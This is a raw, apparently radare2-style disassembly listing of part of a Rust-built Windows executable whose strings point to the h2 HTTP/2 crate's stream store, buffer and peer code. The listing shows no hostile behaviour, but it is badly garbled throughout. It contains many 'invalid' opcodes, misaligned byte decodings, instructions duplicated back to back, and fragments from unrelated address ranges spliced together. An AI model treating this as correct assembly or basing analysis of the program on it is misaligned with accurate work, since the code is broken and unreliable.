lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
adc dword [rax], 0
mov edx, 0xb
call fcn.1401086b0
mov qword [rsp + 0x150], 0
lea rcx, [rsp + 0x134]
add rsi, 0xc
lea r8, [rsp + 0x150]
mov rdx, rsi
call fcn.140108930
int3
or byte [rbx + 0x5c890c72], cl
and al, 0x30
mov dword [rsp + 0x34], esi
mov r9, qword [rdi + 0x10]
cmp r9, rbx
jbe 0x140021a98
mov r8, qword [rdi + 8]
imul r14, rbx, 0x130
cmp dword [r8 + r14], 2
je 0x140021a98
jno 0x140021728
add byte [rax], al
jno 0x140021728
add byte [rax], al
add r8, r14
add eax, esi
cmp dword [r8 + 0x114], esi
jne 0x140021a98
mov eax, dword [r8 + 0x118]
mov r10d, dword [r8 + 0x80]
mov r11d, dword [r8 + 0x84]
xor ebp, ebp
test r11d, r11d
cmovle r11d, ebp
sub eax, r11d
test r10d, r10d
rol byte [rcx + 0xf], cl
invalid
invalid
sub ebp, r11d
cmp eax, ebp
cmovb ebp, eax
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x90], 0
test ebp, ebp
je 0x140021a4d
add byte [rax], al
rol byte [rcx + 0xf], cl
invalid
add byte [rax], al
mov r15d, dword [rcx + 4]
test r15d, r15d
test edi, edi
test edi, edi
jle 0x140021857
cmp r15d, ebp
cmovb ebp, r15d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x2c], esi
cmp dword [r8], 2
je 0x140021af0
cmp dword [r8 + 0x114], esi
jne 0x140021af0
mov rax, qword [rcx + 8]
mov r11d, dword [r8 + 0x84]
mov r10, qword [r8 + 0x88]
xor r9d, r9d
test r11d, r11d
mov r13d, 0
cmovg r13d, r11d
cmp r13, rax
cmovae r13, rax
sub r13, r10
mov r12d, 0
cmovae r12, r13
add r11d, ebp
jo 0x14002184c
mov dword [r8 + 0x84], r11d
test r11d, r11d
cmovle r11d, r9d
cmp r11, rax
cmovb rax, r11
sub rax, r10
cmovae r9, rax
cmp r12, r9
jae 0x14002184c
mov byte [r8 + 0x123], 1
mov r9, qword [r8 + 0x90]
mov rax, qword [r8 + 0x98]
mov qword [r8 + 0x90], 0
test r9, r9
je 0x14002184c
mov r12, rcx
mov rcx, rax
mov r13, rdx
call qword [r9 + 8]
mov rcx, r12
mov rdx, r13
sub r15d, ebp
mov dword [rcx + 4], r15d
mov r9, qword [rdi + 0x10]
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x2c]
mov dword [rsp + 0x2c], esi
cmp r9, rbx
jbe 0x140021a62
mov r8, qword [rdi + 8]
cmp dword [r8 + r14], 2
je 0x140021a62
add r8, r14
cmp dword [r8 + 0x114], esi
jne 0x140021a62
mov r9d, dword [r8 + 0x84]
test r9d, r9d
js 0x1400218a5
cmp r9d, dword [r8 + 0x118]
jae 0x140021955
mov r10d, dword [r8 + 0x80]
test r10d, r10d
js 0x140021955
cmp r10d, r9d
jle 0x140021955
cmp byte [r8 + 0x122], 0
jne 0x140021955
mov byte [r8 + 0x122], 1
cmp dword [rcx + 0x24], 0
je 0x14002193e
mov r10d, dword [rcx + 0x30]
mov r8d, dword [rcx + 0x34]
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x2c], r8d
cmp qword [rdi + 0x10], r10
jbe 0x140021af5
mov r9, qword [rdi + 8]
imul r10, r10, 0x130
cmp dword [r9 + r10], 2
je 0x140021af5
add r9, r10
cmp dword [r9 + 0x114], r8d
jne 0x140021af5
lea r8, [rcx + 0x34]
mov dword [r9 + 0xc4], 1
mov dword [r9 + 0xc8], ebx
mov dword [r9 + 0xcc], esi
mov dword [rcx + 0x30], ebx
jmp 0x140021952
mov dword [rcx + 0x24], 1
mov dword [rcx + 0x28], ebx
mov dword [rcx + 0x2c], esi
mov dword [rcx + 0x30], ebx
lea r8, [rcx + 0x34]
mov dword [r8], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x2c], esi
cmp qword [rdi + 0x10], rbx
jbe 0x140021a62
mov r8, qword [rdi + 8]
cmp dword [r8 + r14], 2
je 0x140021a62
add r8, r14
cmp dword [r8 + 0x114], esi
jne 0x140021a62
cmp qword [r8 + 0x88], 0
je 0x1400219ad
cmp byte [r8 + 0x124], 0
jne 0x1400219ad
cmp byte [r8 + 0x125], 0
jne 0x1400219ad
add rcx, 0x10
call fcn.1400a4930
mov r8, qword [rsp + 0x70]
cmp r8, 2
je 0x140021a4d
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
test r8, r8
je 0x1400219e8
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x70]
cmp r8, 2
je 0x140021a4d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
test r8, r8
je 0x140021a47
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x78]
lock dec qword [rax]
jne 0x140021a4d
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
call fcn.140005050
jmp 0x140021a4d
call qword [rax + 0x80]
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x30], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
jmp 0x140021ad1
lea rax, [rsp + 0x34]
mov qword [rsp + 0x70], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
and al, 0x40
call fcn.140108280
int3
cmp dword [rax + 0x10], edx
jbe 0x140021bb0
mov rax, qword [r8 + 8]
imul r10, r10, 0x130
cmp dword [rax + r10], 2
je 0x140021bb0
add rax, r10
cmp dword [rax + 0x114], edx
jne 0x140021bb0
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x140021baa
mov dword [rax + 0x84], 0
add rsp, 0x68
add esp, 0x68
jmp fcn.140021330
nop
add rsp, 0x68
ret
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
push 0x10
add byte [rax - 0x77], cl
and al, 0x38
cmp byte [rax - 0x39], cl
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108280
int3
or eax, 0x1178ec
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108690
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140108350
int3
test r8d, r8d
je 0x140027ad7
xor dl, r8b
test dl, 1
je 0x140027aae
cmp dword [rcx + 0xa0], 0
je 0x140027ac0
xor eax, eax
jmp 0x140027aca
cmp dword [rcx + 0x28], 0
sete dl
cmp dword [rcx + 0x2c], r8d
setbe al
and al, dl
jmp 0x140027aca
cmp dword [rcx + 0xa4], r8d
setbe al
movzx eax, al
mov edx, 1
add rsp, 0x28
ret
lea rcx, str.assertion_failed:__id.is_zero__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140127f40]
mov edx, 0x1f
call fcn.140108350
int3
and al, 0x2a
mov r9d, dword [rsp + 0x2c]
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x38]
mov qword [rcx + 0x10], r11
mov r11, qword [rsp + 0x40]
pop rsp
and al, 0x40
pop rsp
and al, 0x40
mov qword [rcx + 0x18], r11
mov byte [rcx], al
mov byte [rcx + 1], dl
add dword [rsi + 0x44], esp
mov dword [rcx + 2], eax
add dword [rsi + 0x44], esp
mov dword [rcx + 2], eax
mov dword [rcx + 4], r9d
mov qword [rcx + 8], r10
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add byte [rax - 0x7d], cl
ret
nop dword cs:[rax + rax]
cmp rcx, rax
jne 0x140027ebc
mov edx, 1
mov rcx, r14
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
ror byte [rax - 0x77], 0x84
and al, 0xc0
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffdf
invalid
add byte [rax], al
ror byte [rax - 0x77], 0x84
and al, 0xc0
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffdf
xor eax, 0x89480000
add byte [rax], al
mov qword [rsp + 0x60], rax
add byte [rax], al
mov qword [rsp + 0x60], rax
mov r13, rbx
shr r13, 7
cmp rbx, 0x3fff
mov rbx, r13
ja 0x140027ea0
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027f19
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r13b
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b4bd
mov qword [rsp + 0x60], rax
cmp rsi, 0x1f
jae 0x14002803b
or sil, 0x20
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027f6c
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
invalid
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], sil
jmp 0x140028122
and al, 0x58
mov edx, 1
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xfffffffffffffffe
xor al, 0
invalid
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002b339
mov rcx, qword [rsp + 0x68]
lea rsi, [rsp + 0x58]
nop
cmp rcx, rax
jne 0x140027ffc
mov edx, 1
mov rcx, rsi
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b4bd
mov qword [rsp + 0x60], rax
and al, 0x60
mov r14, rbx
shr r14, 7
cmp rbx, 0x3fff
mov rbx, r14
ja 0x140027fe0
jmp 0x1400280f6
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002805e
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b4bd
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x42
xor al, 0
add byte [rax - 0x7d], cl
invalid
add rsi, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
loope 0x1400280c8
mov dword [rsp + 0x60], eax
cmp rsi, 0x80
add byte [rax], al
jb 0x14002b34f
mov rcx, qword [rsp + 0x68]
and al, 0x68
lea rbx, [rsp + 0x58]
nop dword [rax + rax]
cmp rcx, rax
jne 0x1400280bc
mov edx, 1
mov rcx, rbx
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
adc al, 0
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b4bd
mov qword [rsp + 0x60], rax
mov r14, rsi
shr r14, 7
cmp rsi, 0x3fff
mov rsi, r14
ja 0x1400280a0
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
invalid
jne 0x140028119
sal dword [rbp + 0x19], 0x48
lea ecx, [rsp + 0x58]
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.140012910
mov rax, qword [rsp + 0x60]
add byte [rax], al
add al, ch
add dword [rax - 0x74b70002], ebp
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b4bd
mov qword [rsp + 0x60], rax
add r12, r15
mov qword [rsp + 0x480], 5
add byte [0x18802814b], al
mov dword [rsp + 0x2a8], 0
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x530]
movaps xmm1, xmmword [rsp + 0x540]
movups xmmword [rsp + 0x2b0], xmm0
movups xmmword [rsp + 0x2c0], xmm1
mov qword [rsp + 0x2d0], r15
mov qword [rsp + 0x2d8], r15
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], r12
lea rcx, [rsp + 0x2f0]
lea rdx, [rsp + 0x558]
mov r8d, 0xa0
call fcn.140106250
add al, byte [rax]
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xd8
add al, byte [rax]
add byte [rax - 0x77], cl
mov esp, 0x2e024
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xe8
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rsi*8], fs
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x58
add eax, 0xb8410000
movabs al, byte [0xde09fe8000000]
mov rcx, qword [rsp + 0x88]
lea rax, [rcx + 0x18]
mov qword [rsp + 0x398], rax
lea rax, [rcx + 0x30]
mov qword [rsp + 0x4d8], rax
lea r13, [rsp + 0x160]
mov dword [rsp + 0x274], eax
movzx eax, byte [rsp + 0x2f0]
test byte [rax + rsi*8], ah
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test al, ah
add eax, dword [rax]
invalid
test byte [rax + rsi*8], ah
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test al, ah
add eax, dword [rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x2f8]
mov r9, qword [rsp + 0x300]
mov byte [rsp + 0x2f0], 0xb
cmp al, 0xb
jne 0x1400282a0
mov rdx, qword [rsp + 0x308]
mov qword [rsp + 0x308], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x14002831d
mov rsi, qword [rsp + 0x310]
mov r10, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x320]
mov ecx, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x140176118]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
movzx edx, byte [rsp + 0x2f7]
shl edx, 0x10
adc byte [rdi + rcx - 0x49], al
test byte [rsi*8 + 0x41000002], ah
or eax, edx
adc byte [rdi + rcx - 0x49], al
test byte [rsi*8 + 0x41000002], ah
or eax, edx
mov edx, dword [rsp + 0x2f1]
shl r8, 0x28
add byte [rcx - 0x3f], cl
loopne 0x1400282ea
shl rdx, 8
or rdx, r8
or rdx, rax
mov r8d, 3
add byte [rax], al
add byte [rcx - 0x73], cl
dec byte [rcx - 1]
invalid
add byte [rax], al
add byte [rcx - 0x73], cl
dec byte [rcx - 1]
enter 0xffffffffffff8348, 0xfffffffffffffff8
cmp rax, 6
cmp rax, 6
mov eax, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi + rcx + 0x43], cl
sal byte [rax + 0x158d4c07], 0x29
ficom word [rax + rax]
add byte [rax], al
cmovae r8, rax
mov al, 7
lea r10, [0x140176118]
adc eax, 0x14de29
movsxd r8, dword [r10 + r8*4]
add r8, r10
mov rsi, rcx
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov r14, rbp
shr r14, 0x10
mov al, 2
jmp 0x140028515
mov rdx, qword [rsp + 0x328]
mov qword [rsp + 0x328], 0
test rdx, rdx
je 0x140028390
mov rsi, qword [rsp + 0x330]
mov r10, qword [rsp + 0x338]
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x340]
mov ecx, 2
lea rax, [rcx - 2]
lea eax, [rcx - 2]
lea eax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x140176118]
add byte [rax], al
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea ecx, [0x140176118]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov rdx, qword [rsp + 0x348]
mov qword [rsp + 0x348], 0
test rdx, rdx
je 0x140028403
mov rsi, qword [rsp + 0x350]
mov r10, qword [rsp + 0x358]
mov rbx, qword [rsp + 0x360]
mov ecx, 5
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
add byte [rax], al
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea ecx, [0x140176118]
add byte [rax], al
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea ecx, [0x140176118]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov rdx, qword [rsp + 0x368]
mov qword [rsp + 0x368], 0
test rdx, rdx
je 0x140028476
mov rsi, qword [rsp + 0x370]
mov r10, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x380]
add byte [rax], al
mov ecx, 6
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x140176118]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
and al, 0x68
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
pop rsp
and al, 0x4f
jmp r8
movzx eax, word [rsp + 0x388]
mov word [rsp + 0x388], 0
test rax, rax
je 0x140028533
mov rbp, qword [rsp + 0x3f8]
and rbp, 0xffffffffffff0000
or rbp, rax
mov ecx, 7
add byte [rax - 0x73], cl
dec byte [r8 - 1]
leave
cmp rax, 6
cmp eax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea rdx, [0x140176118]
adc eax, 0x14dc53
adc eax, 0x14dc53
movsxd r8, dword [rdx + rcx*4]
add r8, rdx
mov edx, ebp
mov ecx, ebp
mov r9, qword [rsp + 0x440]
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov r14, rbp
shr r14, 0x10
mov al, 3
mov ecx, edx
jmp 0x14002851a
mov r14, rbp
shr r14, 0x10
mov al, 4
jmp 0x140028515
mov r14, rbp
shr r14, 0x10
mov al, 5
jmp 0x140028515
mov r14, rbp
shr r14, 0x10
mov al, 6
invalid
invalid
mov ecx, edx
mov r10, rbx
mov edx, ebx
mov edx, ebx
mov rdi, r9
mov r12, rsi
mov esp, esi
mov esp, esi
movzx edx, byte [rsp + 0x7f]
mov r15d, edx
movzx r11d, byte [rsp + 0x7e]
jmp case.0x1400284e6.6
lea rcx, [rsp + 0x2f0]
lea ecx, [rsp + 0x2f0]
call fcn.14001b4d0
jmp 0x1400285d2
invalid
add byte [rax - 0x75], cl
mov ah, 0x24
add al, 0
add byte [rdi], cl
invalid
mov rsi, qword [rsp + 0x448]
nop dword [rax]
invalid
add byte [rax - 0x73], cl
or al, 4
lea rcx, [rsp + rax]
add rcx, 0x480
call fcn.14001d970
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x4d0], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x4c0], xmm0
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x4b0], xmm3
movaps xmmword [rsp + 0x4a0], xmm2
movaps xmmword [rsp + 0x490], xmm1
movaps xmmword [rsp + 0x480], xmm0
movzx eax, byte [rsp + 0x2f0]
and al, 0xf0
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rsi], ebp
cld
invalid
invalid
and al, 0xf0
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rsi], ebp
cld
invalid
mov byte [rsp + 0x2f0], 0xc
mov r8d, 0x9f
lea rcx, [rsp + 0x2f1]
mov rdx, r13
call fcn.140106250
cmp qword [rsp + 0x2a8], 0
je 0x140028640
mov rcx, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x2c8]
cmp rcx, rdx
jae 0x14002b3b4
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rcx + rcx*8]
lea rax, [rdx + rcx*8]
cmp qword [rdx + rcx*8 + 0x10], 0
je 0x140028920
mov rcx, qword [rax + 0x18]
mov edx, 1
jmp 0x140028922
mov rax, qword [rsp + 0x2d8]
cmp rax, qword [rsp + 0x2e8]
je 0x14002af0e
lea rcx, [rax + 0x68]
mov qword [rsp + 0x2d8], rcx
mov rcx, qword [rax]
cmp rcx, 2
je 0x14002af0e
mov edx, dword [rax + 0x3a]
movzx r8d, word [rax + 0x3e]
shl r8, 0x20
shl eax, 0x20
or r8, rdx
mov qword [rsp + 0x428], r8
movzx edx, byte [rax + 0x39]
mov byte [rsp + 0x93], dl
movzx edx, byte [rax + 0x38]
mov byte [rsp + 0x92], dl
and al, 0x92
add byte [rax], al
add byte [rax - 0x75], cl
push rax
xor byte [rax - 0x77], cl
xchg esp, eax
and al, 0x18
add al, 0
add byte [rax - 0x75], cl
push rax
sub byte [rax - 0x77], cl
xchg esp, eax
and al, 0x10
add al, 0
add byte [rax - 0x75], cl
push rax
and byte [rax - 0x77], cl
xchg esp, eax
and al, 8
add al, 0
add byte [rbx + 0xf441a50], cl
mov bh, 0x40
invalid
shl r8, 0x20
or r8, rdx
mov qword [rsp + 0x420], r8
movzx edx, word [rax + 0x18]
mov dword [rsp + 0x274], edx
push rax
xor byte [rax - 0x77], cl
xchg esp, eax
and al, 0x18
add al, 0
add byte [rax - 0x75], cl
push rax
sub byte [rax - 0x77], cl
xchg esp, eax
and al, 0x10
add al, 0
add byte [rax - 0x75], cl
push rax
and byte [rax - 0x77], cl
xchg esp, eax
and al, 8
add al, 0
add byte [rbx + 0xf441a50], cl
mov bh, 0x40
invalid
ror byte [rcx + rcx*4 - 0x7c], 1
and al, 0x20
add al, 0
add byte [rdi], cl
mov bh, 0x50
sbb byte [rcx + 0x2742494], cl
add byte [rax], al
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x40]
mov r9, qword [rax + 0x48]
mov r10, qword [rax + 0x50]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0x2a8], rcx
mov qword [rsp + 0x2b0], rdx
mov rbp, r8
mov qword [rsp + 0x500], rax
mov dword [rsp + 0x500], eax
mov dword [rsp + 0x500], eax
mov rbx, rax
mov qword [rsp + 0x508], r10
mov qword [rsp + 0x510], r9
mov rsi, r9
and al, 8
add eax, 0x894c0000
mov word [rax + rdx], fs
add eax, 0x894c0000
invalid
mov r9, r10
mov ecx, edx
mov qword [rsp + 0x518], r8
mov ecx, r8d
mov edx, dword [rsp + 0x274]
mov r15d, edx
shr r15d, 8
mov r14, rbp
mov esi, ebp
mov esi, ebp
shr r14, 0x10
mov rax, qword [rsp + 0x410]
test byte [rax + rdx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
invalid
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x400], rax
mov r10, rbx
mov rdi, r9
mov r12, rsi
movzx eax, byte [rsp + 0x93]
mov byte [rsp + 0xa7], al
mov eax, r15d
mov byte [rsp + 0x7f], r15b
mov eax, edx
mov byte [rsp + 0x7e], dl
mov r11d, edx
movzx edx, byte [rsp + 0x92]
and al, 0x92
add byte [rax], al
add byte [rcx + 0x8fa80d0], cl
je case.default.0x1400288fa
mov qword [rsp + 0x3f8], rbp
mov qword [rsp + 0x440], r9
mov word [rsp + 0x118], cx
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4c], al
and al, 0x1a
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
shr rdx, 0x20
mov word [rsp + 0x11e], dx
mov qword [rsp + 0x120], r12
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x268], r10
and al, 0x68
add al, byte [rax]
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x30
add dword [rax], eax
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
mov byte [rsp + 0x138], r11b
mov byte [rsp + 0x139], r15b
mov rdx, qword [rsp + 0x400]
mov dword [rsp + 0x13a], edx
shr rdx, 0x20
invalid
and byte [rsi - 0x77], ah
xchg esp, eax
and al, 0x3e
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x30
add al, 0
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x40
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x38
add al, 0
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x48
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x28
add eax, 0x89480000
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rax + 0x1582484], cl
add byte [rax], al
invalid
xchg esp, eax
and al, 0x38
add al, 0
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x48
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x28
add eax, 0x89480000
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rax + 0x1582484], cl
add byte [rax], al
mov r9, qword [rsp + 0x520]
mov rdx, r9
shr rdx, 0x20
lea r8d, [rax - 2]
dec al
xor r10d, r10d
cmp r8b, 6
movzx r8d, byte [rsp + 0xa7]
mov byte [rsp + 0x159], r8b
add byte [rcx + rcx*4 - 0x74], al
and al, 0x5a
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xc0
add byte [rcx + rcx*4 - 0x74], al
and al, 0x5a
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xc0
cmovae eax, r10d
mov word [rsp + 0x15e], dx
movzx r8d, al
lea rdx, [0x140176134]
movsxd rax, dword [rdx + r8*4]
add rax, rdx
add eax, edx
add eax, edx
mov qword [rsp + 0xb0], rdi
mov dword [rsp + 0x94], r15d
mov qword [rsp + 0x448], rsi
jmp rax
mov cl, 2
cmp qword [rsp + 0x118], 0
je 0x140028df8
jmp 0x140028f7c
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], cl
